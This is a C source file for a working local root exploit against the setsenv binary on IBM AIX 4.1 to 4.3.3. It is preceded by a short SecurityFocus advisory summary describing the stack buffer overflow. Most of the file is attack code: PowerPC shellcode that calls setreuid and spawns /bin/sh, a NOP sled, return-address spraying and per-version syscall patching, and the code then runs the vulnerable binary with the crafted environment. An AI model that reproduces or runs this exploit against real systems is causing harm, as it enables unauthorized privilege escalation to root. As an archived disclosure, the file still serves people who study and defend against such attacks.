79 lines
3.2 KiB
C
Executable file
79 lines
3.2 KiB
C
Executable file
source: http://www.securityfocus.com/bid/2032/info
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AIX is a version of the UNIX Operating System distributed by IBM. A problem exists that could allow a user elevated priviledges.
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The problem occurs in the setsenv binary. It has been reported that a buffer overflow exists in this binary which could allow a user to overwrite variables on the stack, including the return address. This makes it possible for a malicious user to execute arbitrary code, and potentially attain a UID of 0.
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/*## copyright LAST STAGE OF DELIRIUM sep 2000 poland *://lsd-pl.net/ #*/
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/*## /usr/bin/setsenv #*/
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/* note: to avoid potential system hang-up please, first obtain the exact */
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/* AIX OS level with the use of the uname -a or oslevel commands */
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#define ADRNUM 200
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#define NOPNUM 16000
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char setreuidcode[]=
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"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
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"\x40\x82\xff\xfd" /* bnel <setreuidcode> */
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"\x7e\xa8\x02\xa6" /* mflr r21 */
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"\x3a\xb5\x01\x40" /* cal r21,0x140(r21) */
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"\x88\x55\xfe\xe0" /* lbz r2,-288(r21) */
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"\x7e\x83\xa3\x78" /* mr r3,r20 */
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"\x3a\xd5\xfe\xe4" /* cal r22,-284(r21) */
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"\x7e\xc8\x03\xa6" /* mtlr r22 */
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"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
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"\x44\xff\xff\x02" /* svca */
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"\xff\xff\xff\xff"
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"\x38\x75\xff\x04" /* cal r3,-252(r21) */
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"\x38\x95\xff\x0c" /* cal r4,-244(r21) */
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"\x7e\x85\xa3\x78" /* mr r5,r20 */
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"\x90\x75\xff\x0c" /* st r3,-244(r21) */
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"\x92\x95\xff\x10" /* st r20,-240(r21) */
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"\x88\x55\xfe\xe1" /* lbz r2,-287(r21) */
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"\x9a\x95\xff\x0b" /* stb r20,-245(r21) */
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"\x4b\xff\xff\xd8" /* bl <setreuidcode+32> */
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"/bin/sh"
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;
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char nop[]="\x7f\xff\xfb\x78";
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main(int argc,char **argv,char **e){
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char buffer[20000],adr[4],*b,*envp[2];
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int i;
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printf("copyright LAST STAGE OF DELIRIUM sep 2000 poland //lsd-pl.net/\n");
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printf("/usr/bin/setsenv for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n");
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if(argc<2){
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printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1);
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}
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switch(atoi(argv[1])){
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case 41: memcpy(&setreuidcode[40],"\x68\x03",2); break;
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case 42: memcpy(&setreuidcode[40],"\x71\x02",2); break;
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case 43: memcpy(&setreuidcode[40],"\x82\x04",2); break;
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case 433: memcpy(&setreuidcode[40],"\x92\x03",2); break;
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default: exit(-1);
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}
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i=0; while(*e++) i+=strlen(*e)+1;
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*((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;
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envp[0]=&buffer[1000];
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envp[1]=0;
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b=buffer;
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strcpy(b,"lsd=");b+=4;
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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*b=0;
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b=&buffer[1000];
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sprintf(b,"xxx= ");b+=7;
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
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*b=0;
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execle("/usr/bin/setsenv","lsd",buffer,0,envp);
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}
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